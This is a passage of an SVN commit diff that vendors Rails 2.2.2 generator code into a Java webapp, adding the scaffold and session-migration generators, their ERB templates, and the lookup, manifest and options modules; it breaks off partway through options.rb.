--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+module <%= controller_class_name %>Helper
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+Description:
+    Scaffolds an entire resource, from model and migration to controller and
+    views, along with a full test suite. The resource is ready to use as a
+    starting point for your RESTful, resource-oriented application.
+
+    Pass the name of the model (in singular form), either CamelCased or
+    under_scored, as the first argument, and an optional list of attribute
+    pairs.
+
+    Attribute pairs are column_name:sql_type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the resource immediately.
+
+    For example, 'scaffold post title:string body:text published:boolean'
+    gives you a model with those three attributes, a controller that handles
+    the create/show/update/destroy, forms to create and edit your posts, and
+    an index that lists them all, as well as a map.resources :posts
+    declaration in config/routes.rb.
+
+    If you want to remove all the generated files, run
+    'script/destroy scaffold ModelName'.
+
+Examples:
+    `./script/generate scaffold post`
+    `./script/generate scaffold post title:string body:text published:boolean`
+    `./script/generate scaffold purchase order_id:integer amount:decimal`

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+class ScaffoldGenerator < Rails::Generator::NamedBase
+  default_options :skip_timestamps => false, :skip_migration => false, :force_plural => false
+
+  attr_reader   :controller_name,
+                :controller_class_path,
+                :controller_file_path,
+                :controller_class_nesting,
+                :controller_class_nesting_depth,
+                :controller_class_name,
+                :controller_underscore_name,
+                :controller_singular_name,
+                :controller_plural_name
+  alias_method  :controller_file_name,  :controller_underscore_name
+  alias_method  :controller_table_name, :controller_plural_name
+
+  def initialize(runtime_args, runtime_options = {})
+    super
+
+    if @name == @name.pluralize && !options[:force_plural]
+      logger.warning "Plural version of the model detected, using singularized version.  Override with --force-plural."
+      @name = @name.singularize
+    end
+
+    @controller_name = @name.pluralize
+
+    base_name, @controller_class_path, @controller_file_path, @controller_class_nesting, @controller_class_nesting_depth = extract_modules(@controller_name)
+    @controller_class_name_without_nesting, @controller_underscore_name, @controller_plural_name = inflect_names(base_name)
+    @controller_singular_name=base_name.singularize
+    if @controller_class_nesting.empty?
+      @controller_class_name = @controller_class_name_without_nesting
+    else
+      @controller_class_name = "#{@controller_class_nesting}::#{@controller_class_name_without_nesting}"
+    end
+  end
+
+  def manifest
+    record do |m|
+      # Check for class naming collisions.
+      m.class_collisions("#{controller_class_name}Controller", "#{controller_class_name}Helper")
+      m.class_collisions(class_name)
+
+      # Controller, helper, views, test and stylesheets directories.
+      m.directory(File.join('app/models', class_path))
+      m.directory(File.join('app/controllers', controller_class_path))
+      m.directory(File.join('app/helpers', controller_class_path))
+      m.directory(File.join('app/views', controller_class_path, controller_file_name))
+      m.directory(File.join('app/views/layouts', controller_class_path))
+      m.directory(File.join('test/functional', controller_class_path))
+      m.directory(File.join('test/unit', class_path))
+      m.directory(File.join('public/stylesheets', class_path))
+
+      for action in scaffold_views
+        m.template(
+          "view_#{action}.html.erb",
+          File.join('app/views', controller_class_path, controller_file_name, "#{action}.html.erb")
+        )
+      end
+
+      # Layout and stylesheet.
+      m.template('layout.html.erb', File.join('app/views/layouts', controller_class_path, "#{controller_file_name}.html.erb"))
+      m.template('style.css', 'public/stylesheets/scaffold.css')
+
+      m.template(
+        'controller.rb', File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
+      )
+
+      m.template('functional_test.rb', File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb"))
+      m.template('helper.rb',          File.join('app/helpers',     controller_class_path, "#{controller_file_name}_helper.rb"))
+
+      m.route_resources controller_file_name
+
+      m.dependency 'model', [name] + @args, :collision => :skip
+    end
+  end
+
+  protected
+    # Override with your own usage banner.
+    def banner
+      "Usage: #{$0} scaffold ModelName [field:type, field:type]"
+    end
+
+    def add_options!(opt)
+      opt.separator ''
+      opt.separator 'Options:'
+      opt.on("--skip-timestamps",
+             "Don't add timestamps to the migration file for this model") { |v| options[:skip_timestamps] = v }
+      opt.on("--skip-migration",
+             "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
+      opt.on("--force-plural",
+             "Forces the generation of a plural ModelName") { |v| options[:force_plural] = v }
+    end
+
+    def scaffold_views
+      %w[ index show new edit ]
+    end
+
+    def model_name
+      class_name.demodulize
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/controller.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,85 @@
+class <%= controller_class_name %>Controller < ApplicationController
+  # GET /<%= table_name %>
+  # GET /<%= table_name %>.xml
+  def index
+    @<%= table_name %> = <%= class_name %>.find(:all)
+
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render :xml => @<%= table_name %> }
+    end
+  end
+
+  # GET /<%= table_name %>/1
+  # GET /<%= table_name %>/1.xml
+  def show
+    @<%= file_name %> = <%= class_name %>.find(params[:id])
+
+    respond_to do |format|
+      format.html # show.html.erb
+      format.xml  { render :xml => @<%= file_name %> }
+    end
+  end
+
+  # GET /<%= table_name %>/new
+  # GET /<%= table_name %>/new.xml
+  def new
+    @<%= file_name %> = <%= class_name %>.new
+
+    respond_to do |format|
+      format.html # new.html.erb
+      format.xml  { render :xml => @<%= file_name %> }
+    end
+  end
+
+  # GET /<%= table_name %>/1/edit
+  def edit
+    @<%= file_name %> = <%= class_name %>.find(params[:id])
+  end
+
+  # POST /<%= table_name %>
+  # POST /<%= table_name %>.xml
+  def create
+    @<%= file_name %> = <%= class_name %>.new(params[:<%= file_name %>])
+
+    respond_to do |format|
+      if @<%= file_name %>.save
+        flash[:notice] = '<%= class_name %> was successfully created.'
+        format.html { redirect_to(@<%= file_name %>) }
+        format.xml  { render :xml => @<%= file_name %>, :status => :created, :location => @<%= file_name %> }
+      else
+        format.html { render :action => "new" }
+        format.xml  { render :xml => @<%= file_name %>.errors, :status => :unprocessable_entity }
+      end
+    end
+  end
+
+  # PUT /<%= table_name %>/1
+  # PUT /<%= table_name %>/1.xml
+  def update
+    @<%= file_name %> = <%= class_name %>.find(params[:id])
+
+    respond_to do |format|
+      if @<%= file_name %>.update_attributes(params[:<%= file_name %>])
+        flash[:notice] = '<%= class_name %> was successfully updated.'
+        format.html { redirect_to(@<%= file_name %>) }
+        format.xml  { head :ok }
+      else
+        format.html { render :action => "edit" }
+        format.xml  { render :xml => @<%= file_name %>.errors, :status => :unprocessable_entity }
+      end
+    end
+  end
+
+  # DELETE /<%= table_name %>/1
+  # DELETE /<%= table_name %>/1.xml
+  def destroy
+    @<%= file_name %> = <%= class_name %>.find(params[:id])
+    @<%= file_name %>.destroy
+
+    respond_to do |format|
+      format.html { redirect_to(<%= table_name %>_url) }
+      format.xml  { head :ok }
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+require 'test_helper'
+
+class <%= controller_class_name %>ControllerTest < ActionController::TestCase
+  test "should get index" do
+    get :index
+    assert_response :success
+    assert_not_nil assigns(:<%= table_name %>)
+  end
+
+  test "should get new" do
+    get :new
+    assert_response :success
+  end
+
+  test "should create <%= file_name %>" do
+    assert_difference('<%= class_name %>.count') do
+      post :create, :<%= file_name %> => { }
+    end
+
+    assert_redirected_to <%= file_name %>_path(assigns(:<%= file_name %>))
+  end
+
+  test "should show <%= file_name %>" do
+    get :show, :id => <%= table_name %>(:one).id
+    assert_response :success
+  end
+
+  test "should get edit" do
+    get :edit, :id => <%= table_name %>(:one).id
+    assert_response :success
+  end
+
+  test "should update <%= file_name %>" do
+    put :update, :id => <%= table_name %>(:one).id, :<%= file_name %> => { }
+    assert_redirected_to <%= file_name %>_path(assigns(:<%= file_name %>))
+  end
+
+  test "should destroy <%= file_name %>" do
+    assert_difference('<%= class_name %>.count', -1) do
+      delete :destroy, :id => <%= table_name %>(:one).id
+    end
+
+    assert_redirected_to <%= table_name %>_path
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+module <%= controller_class_name %>Helper
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
+  <title><%= controller_class_name %>: <%%= controller.action_name %></title>
+  <%%= stylesheet_link_tag 'scaffold' %>
+</head>
+<body>
+
+<p style="color: green"><%%= flash[:notice] %></p>
+
+<%%= yield  %>
+
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/style.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/style.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/style.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+body { background-color: #fff; color: #333; }
+
+body, p, ol, ul, td {
+  font-family: verdana, arial, helvetica, sans-serif;
+  font-size:   13px;
+  line-height: 18px;
+}
+
+pre {
+  background-color: #eee;
+  padding: 10px;
+  font-size: 11px;
+}
+
+a { color: #000; }
+a:visited { color: #666; }
+a:hover { color: #fff; background-color:#000; }
+
+.fieldWithErrors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+
+#errorExplanation {
+  width: 400px;
+  border: 2px solid red;
+  padding: 7px;
+  padding-bottom: 12px;
+  margin-bottom: 20px;
+  background-color: #f0f0f0;
+}
+
+#errorExplanation h2 {
+  text-align: left;
+  font-weight: bold;
+  padding: 5px 5px 5px 15px;
+  font-size: 12px;
+  margin: -7px;
+  background-color: #c00;
+  color: #fff;
+}
+
+#errorExplanation p {
+  color: #333;
+  margin-bottom: 0;
+  padding: 5px;
+}
+
+#errorExplanation ul li {
+  font-size: 12px;
+  list-style: square;
+}
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+<h1>Editing <%= singular_name %></h1>
+
+<%% form_for(@<%= singular_name %>) do |f| %>
+  <%%= f.error_messages %>
+
+<% for attribute in attributes -%>
+  <p>
+    <%%= f.label :<%= attribute.name %> %><br />
+    <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
+  </p>
+<% end -%>
+  <p>
+    <%%= f.submit "Update" %>
+  </p>
+<%% end %>
+
+<%%= link_to 'Show', @<%= singular_name %> %> |
+<%%= link_to 'Back', <%= plural_name %>_path %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+<h1>Listing <%= plural_name %></h1>
+
+<table>
+  <tr>
+<% for attribute in attributes -%>
+    <th><%= attribute.column.human_name %></th>
+<% end -%>
+  </tr>
+
+<%% for <%= singular_name %> in @<%= plural_name %> %>
+  <tr>
+<% for attribute in attributes -%>
+    <td><%%=h <%= singular_name %>.<%= attribute.name %> %></td>
+<% end -%>
+    <td><%%= link_to 'Show', <%= singular_name %> %></td>
+    <td><%%= link_to 'Edit', edit_<%= singular_name %>_path(<%= singular_name %>) %></td>
+    <td><%%= link_to 'Destroy', <%= singular_name %>, :confirm => 'Are you sure?', :method => :delete %></td>
+  </tr>
+<%% end %>
+</table>
+
+<br />
+
+<%%= link_to 'New <%= singular_name %>', new_<%= singular_name %>_path %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+<h1>New <%= singular_name %></h1>
+
+<%% form_for(@<%= singular_name %>) do |f| %>
+  <%%= f.error_messages %>
+
+<% for attribute in attributes -%>
+  <p>
+    <%%= f.label :<%= attribute.name %> %><br />
+    <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
+  </p>
+<% end -%>
+  <p>
+    <%%= f.submit "Create" %>
+  </p>
+<%% end %>
+
+<%%= link_to 'Back', <%= plural_name %>_path %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+<% for attribute in attributes -%>
+<p>
+  <b><%= attribute.column.human_name %>:</b>
+  <%%=h @<%= singular_name %>.<%= attribute.name %> %>
+</p>
+
+<% end -%>
+
+<%%= link_to 'Edit', edit_<%= singular_name %>_path(@<%= singular_name %>) %> |
+<%%= link_to 'Back', <%= plural_name %>_path %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/USAGE
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/USAGE	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/USAGE	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+Description:
+    Creates a migration to add the sessions table used by the Active Record
+    session store. Pass the migration name, either CamelCased or under_scored,
+    as an argument.
+
+Example:
+    `./script/generate session_migration CreateSessionTable`
+
+    With 4 existing migrations, this creates the AddSessionTable migration
+    in db/migrate/005_add_session_table.rb

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+class SessionMigrationGenerator < Rails::Generator::NamedBase
+  def initialize(runtime_args, runtime_options = {})
+    runtime_args << 'add_session_table' if runtime_args.empty?
+    super
+  end
+
+  def manifest
+    record do |m|
+      m.migration_template 'migration.rb', 'db/migrate',
+        :assigns => { :session_table_name => default_session_table_name }
+    end
+  end
+
+  protected
+    def default_session_table_name
+      ActiveRecord::Base.pluralize_table_names ? 'session'.pluralize : 'session'
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/templates/migration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/templates/migration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/templates/migration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+class <%= class_name %> < ActiveRecord::Migration
+  def self.up
+    create_table :<%= session_table_name %> do |t|
+      t.string :session_id, :null => false
+      t.text :data
+      t.timestamps
+    end
+
+    add_index :<%= session_table_name %>, :session_id
+    add_index :<%= session_table_name %>, :updated_at
+  end
+
+  def self.down
+    drop_table :<%= session_table_name %>
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/lookup.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/lookup.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/lookup.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,249 @@
+require 'pathname'
+
+require File.dirname(__FILE__) + '/spec'
+
+class Object
+  class << self
+    # Lookup missing generators using const_missing.  This allows any
+    # generator to reference another without having to know its location:
+    # RubyGems, ~/.rails/generators, and RAILS_ROOT/generators.
+    def lookup_missing_generator(class_id)
+      if md = /(.+)Generator$/.match(class_id.to_s)
+        name = md.captures.first.demodulize.underscore
+        Rails::Generator::Base.lookup(name).klass
+      else
+        const_missing_before_generators(class_id)
+      end
+    end
+
+    unless respond_to?(:const_missing_before_generators)
+      alias_method :const_missing_before_generators, :const_missing
+      alias_method :const_missing, :lookup_missing_generator
+    end
+  end
+end
+
+# User home directory lookup adapted from RubyGems.
+def Dir.user_home
+  if ENV['HOME']
+    ENV['HOME']
+  elsif ENV['USERPROFILE']
+    ENV['USERPROFILE']
+  elsif ENV['HOMEDRIVE'] and ENV['HOMEPATH']
+    "#{ENV['HOMEDRIVE']}:#{ENV['HOMEPATH']}"
+  else
+    File.expand_path '~'
+  end
+end
+
+
+module Rails
+  module Generator
+
+    # Generator lookup is managed by a list of sources which return specs
+    # describing where to find and how to create generators.  This module
+    # provides class methods for manipulating the source list and looking up
+    # generator specs, and an #instance wrapper for quickly instantiating
+    # generators by name.
+    #
+    # A spec is not a generator:  it's a description of where to find
+    # the generator and how to create it.  A source is anything that
+    # yields generators from #each.  PathSource and GemGeneratorSource are provided.
+    module Lookup
+      def self.included(base)
+        base.extend(ClassMethods)
+        base.use_component_sources!
+      end
+
+      # Convenience method to instantiate another generator.
+      def instance(generator_name, args, runtime_options = {})
+        self.class.instance(generator_name, args, runtime_options)
+      end
+
+      module ClassMethods
+        # The list of sources where we look, in order, for generators.
+        def sources
+          read_inheritable_attribute(:sources) or use_component_sources!
+        end
+
+        # Add a source to the end of the list.
+        def append_sources(*args)
+          sources.concat(args.flatten)
+          invalidate_cache!
+        end
+
+        # Add a source to the beginning of the list.
+        def prepend_sources(*args)
+          write_inheritable_array(:sources, args.flatten + sources)
+          invalidate_cache!
+        end
+
+        # Reset the source list.
+        def reset_sources
+          write_inheritable_attribute(:sources, [])
+          invalidate_cache!
+        end
+
+        # Use application generators (app, ?).
+        def use_application_sources!
+          reset_sources
+          sources << PathSource.new(:builtin, "#{File.dirname(__FILE__)}/generators/applications")
+        end
+
+        # Use component generators (model, controller, etc).
+        # 1.  Rails application.  If RAILS_ROOT is defined we know we're
+        #     generating in the context of a Rails application, so search
+        #     RAILS_ROOT/generators.
+        # 2.  Look in plugins, either for generators/ or rails_generators/ 
+        #     directories within each plugin
+        # 3.  User home directory.  Search ~/.rails/generators.
+        # 4.  RubyGems.  Search for gems named *_generator, and look for 
+        #     generators within any RubyGem's 
+        #     /rails_generators/<generator_name>_generator.rb file.
+        # 5.  Builtins.  Model, controller, mailer, scaffold, and so on.
+        def use_component_sources!
+          reset_sources
+          if defined? ::RAILS_ROOT
+            sources << PathSource.new(:lib, "#{::RAILS_ROOT}/lib/generators")
+            sources << PathSource.new(:vendor, "#{::RAILS_ROOT}/vendor/generators")
+            Rails.configuration.plugin_paths.each do |path|
+              relative_path = Pathname.new(File.expand_path(path)).relative_path_from(Pathname.new(::RAILS_ROOT))
+              sources << PathSource.new(:"plugins (#{relative_path})", "#{path}/*/**/{,rails_}generators")
+            end
+          end
+          sources << PathSource.new(:user, "#{Dir.user_home}/.rails/generators")
+          if Object.const_defined?(:Gem)
+            sources << GemGeneratorSource.new
+            sources << GemPathSource.new
+          end
+          sources << PathSource.new(:builtin, "#{File.dirname(__FILE__)}/generators/components")
+        end
+
+        # Lookup knows how to find generators' Specs from a list of Sources.
+        # Searches the sources, in order, for the first matching name.
+        def lookup(generator_name)
+          @found ||= {}
+          generator_name = generator_name.to_s.downcase
+          @found[generator_name] ||= cache.find { |spec| spec.name == generator_name }
+          unless @found[generator_name] 
+            chars = generator_name.scan(/./).map{|c|"#{c}.*?"}
+            rx = /^#{chars}$/
+            gns = cache.select{|spec| spec.name =~ rx }
+            @found[generator_name] ||= gns.first if gns.length == 1
+            raise GeneratorError, "Pattern '#{generator_name}' matches more than one generator: #{gns.map{|sp|sp.name}.join(', ')}" if gns.length > 1
+          end
+          @found[generator_name] or raise GeneratorError, "Couldn't find '#{generator_name}' generator"
+        end
+
+        # Convenience method to lookup and instantiate a generator.
+        def instance(generator_name, args = [], runtime_options = {})
+          lookup(generator_name).klass.new(args, full_options(runtime_options))
+        end
+
+        private
+          # Lookup and cache every generator from the source list.
+          def cache
+            @cache ||= sources.inject([]) { |cache, source| cache + source.to_a }
+          end
+
+          # Clear the cache whenever the source list changes.
+          def invalidate_cache!
+            @cache = nil
+          end
+      end
+    end
+
+    # Sources enumerate (yield from #each) generator specs which describe
+    # where to find and how to create generators.  Enumerable is mixed in so,
+    # for example, source.collect will retrieve every generator.
+    # Sources may be assigned a label to distinguish them.
+    class Source
+      include Enumerable
+
+      attr_reader :label
+      def initialize(label)
+        @label = label
+      end
+
+      # The each method must be implemented in subclasses.
+      # The base implementation raises an error.
+      def each
+        raise NotImplementedError
+      end
+
+      # Return a convenient sorted list of all generator names.
+      def names
+        map { |spec| spec.name }.sort
+      end
+    end
+
+
+    # PathSource looks for generators in a filesystem directory.
+    class PathSource < Source
+      attr_reader :path
+
+      def initialize(label, path)
+        super label
+        @path = path
+      end
+
+      # Yield each eligible subdirectory.
+      def each
+        Dir["#{path}/[a-z]*"].each do |dir|
+          if File.directory?(dir)
+            yield Spec.new(File.basename(dir), dir, label)
+          end
+        end
+      end
+    end
+
+    class AbstractGemSource < Source
+      def initialize
+        super :RubyGems
+      end
+    end
+
+    # GemGeneratorSource hits the mines to quarry for generators.  The latest versions
+    # of gems named *_generator are selected.
+    class GemGeneratorSource < AbstractGemSource
+      # Yield latest versions of generator gems.
+      def each
+        dependency = Gem::Dependency.new(/_generator$/, Gem::Requirement.default)
+        Gem::cache.search(dependency).inject({}) { |latest, gem|
+          hem = latest[gem.name]
+          latest[gem.name] = gem if hem.nil? or gem.version > hem.version
+          latest
+        }.values.each { |gem|
+          yield Spec.new(gem.name.sub(/_generator$/, ''), gem.full_gem_path, label)
+        }
+      end
+    end
+
+    # GemPathSource looks for generators within any RubyGem's /rails_generators/<generator_name>_generator.rb file.
+    class GemPathSource < AbstractGemSource
+      # Yield each generator within rails_generator subdirectories.
+      def each
+        generator_full_paths.each do |generator|
+          yield Spec.new(File.basename(generator).sub(/_generator.rb$/, ''), File.dirname(generator), label)
+        end
+      end
+
+      private
+        def generator_full_paths
+          @generator_full_paths ||=
+            Gem::cache.inject({}) do |latest, name_gem|
+              name, gem = name_gem
+              hem = latest[gem.name]
+              latest[gem.name] = gem if hem.nil? or gem.version > hem.version
+              latest
+            end.values.inject([]) do |mem, gem|
+              Dir[gem.full_gem_path + '/{rails_,}generators/**/*_generator.rb'].each do |generator|
+                mem << generator
+              end
+              mem
+            end
+        end
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/manifest.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/manifest.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/manifest.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,53 @@
+module Rails
+  module Generator
+
+    # Manifest captures the actions a generator performs.  Instantiate
+    # a manifest with an optional target object, hammer it with actions,
+    # then replay or rewind on the object of your choice.
+    #
+    # Example:
+    #   manifest = Manifest.new { |m|
+    #     m.make_directory '/foo'
+    #     m.create_file '/foo/bar.txt'
+    #   }
+    #   manifest.replay(creator)
+    #   manifest.rewind(destroyer)
+    class Manifest
+      attr_reader :target
+
+      # Take a default action target.  Yield self if block given.
+      def initialize(target = nil)
+        @target, @actions = target, []
+        yield self if block_given?
+      end
+
+      # Record an action.
+      def method_missing(action, *args, &block)
+        @actions << [action, args, block]
+      end
+
+      # Replay recorded actions.
+      def replay(target = nil)
+        send_actions(target || @target, @actions)
+      end
+
+      # Rewind recorded actions.
+      def rewind(target = nil)
+        send_actions(target || @target, @actions.reverse)
+      end
+
+      # Erase recorded actions.
+      def erase
+        @actions = []
+      end
+
+      private
+        def send_actions(target, actions)
+          actions.each do |method, args, block|
+            target.send(method, *args, &block)
+          end
+        end
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/options.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/options.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/options.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,150 @@
+require 'optparse'
+
+module Rails
+  module Generator
+    module Options
+      def self.included(base)
+        base.extend(ClassMethods)
+        class << base
+          if respond_to?(:inherited)
+            alias_method :inherited_without_options, :inherited
+          end
+          alias_method :inherited, :inherited_with_options
+        end
+      end
+
+      module ClassMethods
+        def inherited_with_options(sub)
+          inherited_without_options(sub) if respond_to?(:inherited_without_options)
+          sub.extend(Rails::Generator::Options::ClassMethods)
+        end
+
+        def mandatory_options(options = nil)
+          if options
+            write_inheritable_attribute(:mandatory_options, options)
+          else
+            read_inheritable_attribute(:mandatory_options) or write_inheritable_attribute(:mandatory_options, {})
